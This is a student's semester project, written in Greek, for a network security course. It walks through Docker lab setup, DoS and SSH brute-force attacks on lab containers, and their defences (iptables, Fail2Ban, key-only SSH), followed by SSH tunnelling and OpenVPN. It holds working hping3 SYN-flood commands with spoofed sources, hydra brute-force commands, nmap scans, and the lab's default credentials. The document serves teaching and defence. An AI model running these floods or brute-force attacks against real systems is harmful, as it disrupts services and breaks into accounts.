You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
577 lines
18 KiB
577 lines
18 KiB
= Εργασία Εξαμήνου
|
|
Ασφάλεια Δικτύων και Επικοινωνιών
|
|
Βαλαγκούτη Ηρώ - Αθηνά
|
|
:toc: right
|
|
:toc-title: Πίνακας περιεχομένων
|
|
:toclevels: 4
|
|
:sectnums:
|
|
:icons: font
|
|
:tabs:
|
|
|
|
|
|
toc::[]
|
|
== Docker
|
|
=== Λίγα λόγια για το Docker
|
|
|
|
Το Docker είναι μία πλατφόρμα λογισμικού ανοιχτού κώδικα με την οποία μπορούμε να κάνουμε virtualization σε επίπεδο λειτουργικού συστήματος. Δίνεται δηλαδή η δυνατότητα να εγκατασταθεί μόνο η εφαρμογή/υπηρεσία που θέλουμε, σε ένα απομονωμένο περιβάλλον από κανονικό σύστημα. Αυτό έχει ως συνέπεια την εξοικονόμηση CPU, GPU και RAM του υπολογιστή. Ακόμη, μπορεί να
|
|
χρησιμοποιηθεί για να δοκιμαστούν άγνωστες εφαρμογές, χωρίς να κινδυνέψει το υπόλοιπο σύστημα.
|
|
|
|
=== Οδηγός εγκατάστασης (Ubuntu)
|
|
====
|
|
----
|
|
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
|
|
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
|
|
sudo apt update
|
|
|
|
sudo apt install -y docker-ce
|
|
echo "or"
|
|
sudo apt install docker*
|
|
|
|
sudo systemctl status docker
|
|
sudo usermod -aG docker username #οπου username το όνομα του χρήστη που θα δουλεύει με docker
|
|
|
|
----
|
|
====
|
|
==== docker-compose
|
|
====
|
|
----
|
|
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
|
|
sudo chmod +x /usr/local/bin/docker-compose
|
|
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
|
|
----
|
|
====
|
|
==== error
|
|
====
|
|
----
|
|
Get https ://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate
|
|
Pulling ...
|
|
ERROR: Get https://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate signed by unknown authority
|
|
----
|
|
====
|
|
|
|
* run
|
|
|
|
====
|
|
----
|
|
$ sudo su
|
|
# touch set-ca.sh
|
|
----
|
|
====
|
|
|
|
* copy-paste into file
|
|
====
|
|
----
|
|
registry_address=registry.vlabs.uniwa.gr
|
|
registry_port=5043
|
|
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
|
|
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt
|
|
registry_port=5080
|
|
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
|
|
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt
|
|
|
|
registry_address=hub.swarmlab.io
|
|
registry_port=5443
|
|
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
|
|
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt
|
|
|
|
registry_port=5480
|
|
mkdir -p /etc/docker/certs.d/$registry_address:$registry_port
|
|
openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt
|
|
----
|
|
====
|
|
* exec file
|
|
====
|
|
----
|
|
sudo bash ./set-ca.sh
|
|
----
|
|
====
|
|
=== Δημιουργία σμήνους (swarm) από Docker
|
|
==== Δημιουργία cluster
|
|
* Make a new directory to store the project +
|
|
====
|
|
----
|
|
mkdir myproject
|
|
cd myproject
|
|
../install/usr/share/swarmlab.io/sec/swarmlab-sec create
|
|
----
|
|
====
|
|
|
|
* Spin up the cluster (5 clusters shown here) +
|
|
====
|
|
----
|
|
cd myproject #if not already on the directory
|
|
../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=5
|
|
----
|
|
====
|
|
|
|
* Login to the cluster +
|
|
====
|
|
----
|
|
cd myproject #if not already on the directory
|
|
../install/usr/share/swarmlab.io/sec/swarmlab-sec login
|
|
----
|
|
NOTE: When you are inside a container: +
|
|
`ssh docker@<IP>` +
|
|
User password: docker +
|
|
sudo password: docker +
|
|
====
|
|
|
|
== Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack
|
|
Για να επιτευχθεί ένα D(d)os Attack, χρειάζεται να γνωρίζουμε την IP και την port του μηχανήματος που θέλουμε να χτυπήσουμε.
|
|
|
|
=== Βρίσκοντας την IP
|
|
====
|
|
----
|
|
ifconfig
|
|
----
|
|
image:images/if_config.png[]
|
|
|
|
TIP: IP: 172.19.0.2
|
|
====
|
|
|
|
=== Βρίσκοντας τους ενεργούς hosts
|
|
====
|
|
----
|
|
nmap -sP <IP>
|
|
----
|
|
image:images/nmap_p.png[]
|
|
|
|
TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *.
|
|
|
|
====
|
|
|
|
=== Ενεργές πόρτες
|
|
====
|
|
----
|
|
nmap –p– <IP of worker>
|
|
----
|
|
image:images/nmap_for_ports.png[]
|
|
|
|
TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22
|
|
====
|
|
|
|
=== Εγκατάσταση hping3
|
|
====
|
|
----
|
|
sudo apt update
|
|
sudo apt install hping3
|
|
----
|
|
====
|
|
|
|
=== Εκτέλεση
|
|
====
|
|
----
|
|
sudo hping3 -S <source IP> -a <target IP> -p <portno> --flood
|
|
----
|
|
image:images/1st_hping3.png[] +
|
|
|
|
ή +
|
|
----
|
|
sudo hping3 -S --flood -V -p <portno> <target IP>
|
|
----
|
|
image:images/2nd_hping3.png[]
|
|
|
|
Όπου: +
|
|
-a: spoof source address +
|
|
-S: specifies SYN packets +
|
|
--flood: shoot at discretion, replies will be ignored and packets will be sent fast as possible. +
|
|
-V: Verbosity. +
|
|
-p: port number +
|
|
|
|
SYN packets flood: +
|
|
----
|
|
sudo hping3 <target host> -q -n -d 120 -S -p <portno> --flood --rand-source
|
|
----
|
|
image:images/3rd_hping3.png[]
|
|
|
|
Όπου: +
|
|
-q: brief output +
|
|
-n: show target ip instead of host +
|
|
-d 120: packet size +
|
|
--rand-source: hide IP address
|
|
====
|
|
|
|
=== Βλέποντας το flood
|
|
====
|
|
----
|
|
sudo tcpdump -ni <interface>
|
|
----
|
|
ή +
|
|
----
|
|
sudo tcpdump src <IP>
|
|
----
|
|
Πρώτο attack: +
|
|
image:images/1st_flood.png[] +
|
|
Δεύτερο attack: +
|
|
image:images/2nd_flood.png[] +
|
|
Τρίτο attack: +
|
|
image:images/3rd_flood.png[] +
|
|
Στα παραπάνω screenshots φαίνεται ο διαφορετικός τύπος μηνυμάτων.
|
|
====
|
|
|
|
=== IP tables
|
|
Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP.
|
|
====
|
|
Τα παρακάτω χρειάζονται sudo: +
|
|
----
|
|
iptables -I INPUT -s <IP address we want to block> -j DROP
|
|
----
|
|
Για να δούμε τους κανόνες: +
|
|
----
|
|
iptables -L
|
|
----
|
|
image:images/ip_tables.png[] +
|
|
Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα.
|
|
====
|
|
|
|
== SSH Brute Force Attacks
|
|
=== SSH Attack with Hydra
|
|
* Εγκατάσταση hydra +
|
|
====
|
|
----
|
|
apt-get install hydra
|
|
----
|
|
====
|
|
* Password list +
|
|
====
|
|
----
|
|
wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2
|
|
|
|
bzip2 -d 500-worst-passwords.txt.bz2
|
|
----
|
|
|
|
TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords
|
|
====
|
|
|
|
* Find IP address of docker: +
|
|
====
|
|
----
|
|
ifconfig
|
|
----
|
|
image:images/ssh_find_ip.png[] +
|
|
|
|
TIP: Είναι 172.19.0.1 +
|
|
====
|
|
|
|
* Network range: +
|
|
====
|
|
----
|
|
ipcalc <IP address>
|
|
----
|
|
image:images/ssh_ipcalc.png[] +
|
|
|
|
====
|
|
|
|
* Scan for open ssh ports: +
|
|
====
|
|
----
|
|
nmap <IP address/subnet> -p 22 --open
|
|
----
|
|
image:images/ssh_open_ports.png[] +
|
|
====
|
|
|
|
* Execute SSH brute force attack: +
|
|
====
|
|
Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): +
|
|
----
|
|
hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks
|
|
----
|
|
Άρα γίνεται: +
|
|
----
|
|
hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8
|
|
----
|
|
image:images/ssh_success.png[] +
|
|
|
|
TIP: Password: docker +
|
|
Αν δεν γνωρίζουμε ούτε το username, μπορούμε να ψάξουμε με βάση κάποιο αρχείο που περιέχει πιθανά ονόματα ως εξής:
|
|
hydra -L usernames.txt -P passwords.txt ssh://172.19.0.3 -t 8
|
|
====
|
|
|
|
=== Fail2Ban
|
|
Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. +
|
|
|
|
* Εγκατάσταση:
|
|
====
|
|
----
|
|
sudo apt-get install fail2ban
|
|
sudo apt-get -y install rsyslog
|
|
|
|
sudo rsyslogd
|
|
----
|
|
====
|
|
|
|
* Backup Fail2Ban main configuration file (just in case)
|
|
====
|
|
----
|
|
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
|
|
----
|
|
====
|
|
|
|
* Configure Fail2Ban
|
|
====
|
|
----
|
|
nano /etc/fail2ban/jail.local
|
|
----
|
|
====
|
|
|
|
* Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος.
|
|
====
|
|
image:images/ssh_jail.png[] +
|
|
----
|
|
service fail2ban restart
|
|
----
|
|
image:images/fail2ban_running.png[] +
|
|
====
|
|
|
|
* Κάνουμε ξανά επίθεση
|
|
====
|
|
Η καινούρια επίθεση αποτυγχάνει +
|
|
|
|
image:images/ssh_attack_fail.png[] +
|
|
|
|
Ο επιτιθέμενος έχει μπλοκαριστεί +
|
|
image:images/docker_iptables_with_fail2ban.png[] +
|
|
====
|
|
|
|
=== Συνδέσεις μέσω Key
|
|
* Aν έχουμε κάνει τα προηγούμενα: +
|
|
====
|
|
Κάνουμε unban +
|
|
----
|
|
sudo fail2ban-client unban --all
|
|
----
|
|
Σταματάμε το fail2ban +
|
|
----
|
|
sudo service fail2ban stop
|
|
----
|
|
====
|
|
* Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε +
|
|
====
|
|
----
|
|
sudo nano /etc/ssh/sshd_config
|
|
----
|
|
Βγάζουμε από σχόλια και αλλάζουμε τις τιμές στα: +
|
|
LogLevel VERBOSE +
|
|
PermitRootLogin prohibit-password +
|
|
PasswordAuthentication no +
|
|
|
|
Restart the ssh service +
|
|
----
|
|
sudo service ssh restart
|
|
----
|
|
Παρατηρούμε ότι πλέον δεν μπορούμε να μπούμε με κωδικό +
|
|
image:images/ssh_denied_password.png[] +
|
|
====
|
|
=== Για το κλειδί
|
|
* Αν έχουμε κάνει τα παραπάνω: +
|
|
====
|
|
Αλλάζουμε σε σχόλιο το PasswordAuthentication στο αρχείο sshd_config +
|
|
----
|
|
sudo nano /etc/ssh/sshd_config
|
|
----
|
|
|
|
Σε νέο terminal στον υπολογιστή μας γράφουμε: +
|
|
----
|
|
ssh-keygen
|
|
----
|
|
Δίνουμε όνομα αρχείου/κωδικό (αν θέλουμε) +
|
|
|
|
image:images/ssh_keygen.png[] +
|
|
|
|
Δίνουμε την εντολή +
|
|
----
|
|
ssh-copy-id -i ~/.ssh/id_rsa.pub UserName@RemoteServer
|
|
|
|
ssh-copy-id -i ~/.ssh/id_rsa.pub docker@172.19.0.3
|
|
----
|
|
|
|
Βγάζουμε από comment το PasswordAuthentication και κάνουμε restart το ssh +
|
|
----
|
|
sudo service ssh restart
|
|
----
|
|
|
|
Αν πάμε να συνδεθούμε, πλέον θα χρειάζεται το κλειδί που δώσαμε στο ssh-keygen +
|
|
|
|
====
|
|
== SSH Forwarding
|
|
=== Εγκατάσταση υπηρεσίας (apache)
|
|
====
|
|
----
|
|
sudo apt-get update
|
|
sudo apt install apache2
|
|
|
|
----
|
|
TIP: Αν έχουμε ήδη κάποια άλλη υπηρεσία, μπορούμε να χρησιμοποιήσουμε αυτή.
|
|
====
|
|
|
|
Για να τρέξουμε την υπηρεσία:
|
|
====
|
|
----
|
|
sudo apachectl start
|
|
sudo netstat -antlupe
|
|
----
|
|
image:images/apache_is_running.png[] +
|
|
Η υπηρεσία μας τρέχει! +
|
|
====
|
|
=== Local port forwarding
|
|
Η πρώτη συράγγωση είναι μεταξύ ενός container στον υπολογιστή μας. Για να επιτευχθεί αυτό χρειάζεται ο υπολογιστής μας να έχει και την server side υπηρεσία του ssh. Η port μετά το localhost θα πρέπει να είναι εκείνη που έχει την υπηρεσία που θέλουμε. Αλλάζουμε username και IP ανάλογα. +
|
|
====
|
|
Σε ένα οποιοδήποτε container γράφουμε: +
|
|
----
|
|
ssh -nNT -L 8081:localhost:80 iro@192.168.64.128
|
|
----
|
|
|
|
image:images/local_port_forwarding.png[] +
|
|
|
|
image:images/apache_page.png[] +
|
|
Εάν κάνουμε curl localhost:8081 βλέπουμε την σελίδα του apache +
|
|
====
|
|
|
|
=== Remote port forwarding
|
|
====
|
|
Στον υπολογιστή μας γράφουμε: +
|
|
----
|
|
ssh -nNT -R 8082:localhost:80 docker@172.21.0.6
|
|
----
|
|
image:images/remote_ssh.png[] +
|
|
|
|
image:images/remote_ssh_apache.png[] +
|
|
Εάν κάνουμε curl localhost:8082 βλέπουμε την σελίδα του apache +
|
|
====
|
|
|
|
== VPN
|
|
Δημιουργούμε ένα νέο κατάλογο μέσα στο swarmlab-sec με όνομα π.χ. vpn +
|
|
|
|
=== Δημιουργία αρχείου (create-vpn.sh)
|
|
|
|
* copy-paste
|
|
====
|
|
[source,bash]
|
|
----
|
|
#!/bin/bash
|
|
IP=127.0.0.1 # Server IP # <1>
|
|
P=1194 # Server Port # <2>
|
|
OVPN_SERVER='10.80.0.0/16' # VPN Network # <3>
|
|
|
|
#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist **
|
|
vpn_data=$PWD/openvpn-services/ # <4>
|
|
if [ ! -d $vpn_data ]; then
|
|
mkdir -p $vpn_data
|
|
fi
|
|
|
|
NAME=swarmlab-vpn-services # name of docker service # <5>
|
|
DOCKERnetwork=swarmlab-vpn-services-network # docker network
|
|
docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image
|
|
|
|
docker stop $NAME #stop container
|
|
sleep 1
|
|
docker container rm $NAME #rm container
|
|
|
|
# rm config files
|
|
rm -f $vpn_data/openvpn.conf.*.bak
|
|
rm -f $vpn_data/openvpn.conf
|
|
rm -f $vpn_data/ovpn_env.sh.*.bak
|
|
rm -f $vpn_data/ovpn_env.sh
|
|
|
|
# create network
|
|
sleep 1
|
|
docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork
|
|
|
|
#run container see ovpn_genconfig
|
|
docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \
|
|
-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER # <6>
|
|
|
|
# create pki see ovpn_initpki
|
|
docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki # <7>
|
|
|
|
# see ovpn_copy_server_files
|
|
#docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files
|
|
|
|
#create vpn see --cap-add=NET_ADMIN
|
|
sleep 1
|
|
docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker # <8>
|
|
|
|
sudo sysctl -w net.ipv4.ip_forward=1
|
|
|
|
#show created
|
|
docker ps
|
|
----
|
|
<1> localhost inside of a container will resolve to the network stack of this container
|
|
<2> Port
|
|
<3> Specify Addresses and Netmasks for VPN Clients
|
|
<4> Directory to mount data
|
|
<5> Name of docker services
|
|
<6> Create config
|
|
<7> keys
|
|
<8> Run docker vpn service
|
|
====
|
|
Τρέχουμε το αρχείο. (προσοχή στα δικαιώματα). Θα ζητηθεί ένα passphrase, μπορούμε να εισάγουμε ότι θέλουμε. Όταν η διαδικασία ολοκληρωθεί, θα πρέπει στα NAMES να δούμε το όνομα swarmlab-vpn-services (ή το αντίστοιχο που έχουμε επιλέξει εμείς). +
|
|
image:images/vpn_success.png[] +
|
|
Μπορούμε να το επιβεβαιώσουμε και με netstat +
|
|
image:images/vpn_success_2.png[] +
|
|
|
|
=== Δημιουργία χρήστη
|
|
Για να μπορέσει να συνδεθεί ένας χρήστης, χρειάζεται ένα config αρχείο.
|
|
====
|
|
----
|
|
Η δομή της εντολής είναι:
|
|
docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass
|
|
|
|
docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn
|
|
|
|
όπου:
|
|
USERNAME=sec1
|
|
vpn_data=$PWD/openvpn-services/
|
|
docker=registry.vlabs.uniwa.gr:5080/myownvpn
|
|
όπως δόθηκαν στο αρχείο για το vpn
|
|
|
|
Άρα
|
|
docker run -v $PWD/openvpn-services:/etc/openvpn --rm -it registry.vlabs.uniwa.gr:5080/myownvpn easyrsa build-client-full sec1 nopass
|
|
|
|
docker run -v $PWD/openvpn-services:/etc/openvpn --rm --log-driver=none -it registry.vlabs.uniwa.gr:5080/myownvpn ovpn_getclient sec1 > sec1.ovpn
|
|
----
|
|
Θα πρέπει να επιστρέψει την παρακάτω οθόνη (αφού εισάγουμε τον κωδικό) +
|
|
image:images/user_config_create_1.png[] +
|
|
====
|
|
Ανοίγουμε το αρχείο του χρήστη και κάνουμε copy-paste αντικαθιστώντας την host machine IP με την δική μας, δηλαδή το μηχανάκι που τρέχει το docker. Το 1194 είναι η πόρτα που έχουμε δώσει στο create-vpn.sh
|
|
====
|
|
----
|
|
client
|
|
nobind
|
|
dev tun
|
|
comp-lzo
|
|
resolv-retry infinite
|
|
keepalive 15 60
|
|
|
|
remote-cert-tls server
|
|
remote <HOST MACHINE IP> 1194 udp
|
|
float
|
|
----
|
|
|
|
Αντιγράφουμε το αρχείο στον φάκελο που έχουμε το project
|
|
----
|
|
cp sec* ../test/project/
|
|
----
|
|
|
|
image:images/sec_on_project_folder.png[] +
|
|
====
|
|
=== Εγκατάσταση openvpn
|
|
Για να μπορέσουμε να συνδεθούμε στο vpn, χρειαζόμαστε το openvpn. Το εγκαθιστούμε τόσο στα containers όσο και στο docker (τον master)
|
|
====
|
|
----
|
|
apt update
|
|
apt install openvpn
|
|
----
|
|
====
|
|
=== Λειτουργία
|
|
Εκτελούμε την παρακάτω εντολή σε κάποιο container:
|
|
====
|
|
----
|
|
openvpn --config ./sec1.ovpn
|
|
----
|
|
image:images/init_sequence_complete.png[] +
|
|
Εδώ βλέπουμε ότι το container πήρε την IP 10.80.0.2, η οποία είναι εντός του VPN nertwork που ορίστηκε στο create-vpn.sh αρχείο (10.80.0.0/16). +
|
|
|
|
image:images/worker_ip_after_vpn.png[] +
|
|
Το interface tun0 με τη IP του VPN. +
|
|
====
|